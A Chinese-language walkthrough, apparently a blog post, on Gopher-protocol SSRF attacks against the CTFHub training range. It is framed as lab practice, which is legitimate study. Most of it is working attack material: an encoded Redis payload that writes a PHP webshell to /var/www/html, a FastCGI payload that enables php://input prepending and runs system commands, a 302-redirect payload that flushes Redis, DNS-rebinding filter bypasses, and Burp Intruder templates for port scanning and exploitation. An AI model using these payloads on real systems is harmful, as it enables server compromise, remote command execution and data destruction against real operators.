CTFHub靶场实战Gopher协议在SSRF攻击中的高阶应用第一次接触SSRF漏洞时我被它那种借刀杀人的特性深深吸引——一个看似无害的Web请求竟能成为穿透内网的利器。而Gopher协议则是这把利刃上最锋利的刀锋。记得在去年某次CTF比赛中我花了整整六小时与一个Redis未授权访问漏洞搏斗直到发现Gopher协议这个突破口那种豁然开朗的感觉至今难忘。本文将带你从实战角度用CTFHub靶场作为演练场一步步拆解如何用Gopher协议这把瑞士军刀玩转SSRF攻击。1. 环境准备与基础认知1.1 实验环境搭建工欲善其事必先利其器。我们需要准备以下环境组件CTFHub SSRF靶场选择Gopher协议攻击专题场景BurpSuite Community/Professional建议2023.6以上版本Gopherus工具GitHub开源项目安装命令如下git clone https://github.com/tarunkant/Gopherus cd Gopherus chmod x gopherus.pyPython3环境用于运行辅助脚本Redis服务本地搭建用于测试非必须但建议提示所有实验应在隔离环境进行避免对真实系统造成影响1.2 Gopher协议特性解析Gopher这个诞生于1991年的古老协议在现代Web安全中焕发了第二春。它的几个关键特性使其成为SSRF利器特性安全利用价值支持多行文本输入可构造完整协议报文默认端口70可覆盖能指定任意攻击端口协议简单无加密便于手工构造Payload服务端自动解析无需客户端特殊支持在CTFHub的SSRF题目中我们主要利用它来封装其他协议的通信过程。比如下面这个最简单的测试Payloadgopher://127.0.0.1:6379/_INFO这个请求会向本地的Redis服务(6379端口)发送INFO命令如果存在未授权访问将返回Redis服务信息。2. 实战攻击链构建2.1 Redis未授权访问利用Redis的未授权访问漏洞是CTF中的常客。通过Gopher协议我们可以实现完整的攻击流程信息收集确认Redis服务存在写入Webshell通过config设置目录执行命令写入crontab或ssh key使用Gopherus工具生成攻击Payload./gopherus.py --exploit redis工具会交互式引导生成Payload典型输出如下gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$30%0d%0a%0a%0a%3C?php system($_GET[cmd]);?%3E%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$13%0d%0a/var/www/html%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$9%0d%0ashell.php%0d%0a*1%0d%0a$4%0d%0asave%0d%0a在BurpSuite中发送时需要注意对%字符进行二次URL编码→%25确认靶机Redis确实运行在6379端口观察响应长度变化判断是否成功2.2 FastCGI协议攻击当发现目标服务器运行PHP-FPM时FastCGI是更致命的攻击向量。关键步骤定位PHP-FPM端口通常9000构造恶意PHP_VALUE环境变量执行任意系统命令使用Gopherus生成Payload的bash命令./gopherus.py --exploit fastcgi生成的Payload结构解析gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH106%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20none%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%06%04%00%3C?php system(id);?%3E%00%00%00%00在CTFHub靶场中我们常需要调整的关键参数SCRIPT_FILENAME目标PHP文件路径命令执行部分system(id)可替换为其他命令端口号非标准端口时需要修改3. 高级绕过技巧3.1 DNS重绑定实战当遇到IP黑名单限制时DNS重绑定是绝佳的绕过手段。实施流程注册可控域名或使用免费动态DNS设置极短TTL如1秒首次解析返回合法IP后续解析返回127.0.0.1使用BurpSuite的Collaborator功能验证在Burp→Project options→Misc中找到Collaborator server生成一个Collaborator域名如xxxxxx.oastify.com在DNS配置中设置交替解析攻击Payload示例http://yourdomain.oastify.com/flag.php3.2 302跳转利用利用服务端会跟随302跳转的特性可以构造这样的攻击链搭建一个简单的PHP跳转页面?php header(Location: gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a); ?通过外部URL触发SSRFhttp://vuln-site.com/ssrf.php?urlhttp://your-server.com/redirect.php服务端会跟随跳转到Gopher协议攻击Redis3.3 非标准端口探测内网服务往往运行在非标准端口我们可以用Burp的Intruder模块进行高效探测捕获基础请求发送到Intruder设置攻击类型为Sniper在端口位置设置PayloadPayload type: Numbers From: 1 To: 65535 Step: 1添加Gopher协议前缀为Payload Processing规则根据响应长度/状态码筛选有效端口4. BurpSuite高效工作流4.1 自动化Payload生成通过Burp的Macros功能实现自动化记录登录等必要操作流程在Project options→Sessions中添加新Macro在Macro编辑中添加Custom Parameter处理Gopher Payload典型处理规则base64(URLencode(gopher_payload))4.2 Intruder攻击模板针对不同协议可保存攻击模板Redis未授权模板Payload set:*1%0d%0a$8%0d%0aflushall%0d%0a *1%0d%0a$4%0d%0ainfo%0d%0aPayload processing:URL encode→Add prefix gopher://127.0.0.1:6379/_FastCGI模板使用Pitchfork攻击类型设置两个Payload位置PHP文件路径要执行的系统命令4.3 响应差异分析技巧在端口/服务探测时关键响应特征服务类型成功响应特征失败响应特征RedisPONG/-ERR连接超时MySQL错误包头TCP RSTFastCGI空响应连接拒绝HTTP状态码200404/403在实战中发现Redis服务成功执行命令后通常会返回OK而FastCGI攻击成功时往往返回空白响应——这种反直觉的现象需要特别注意。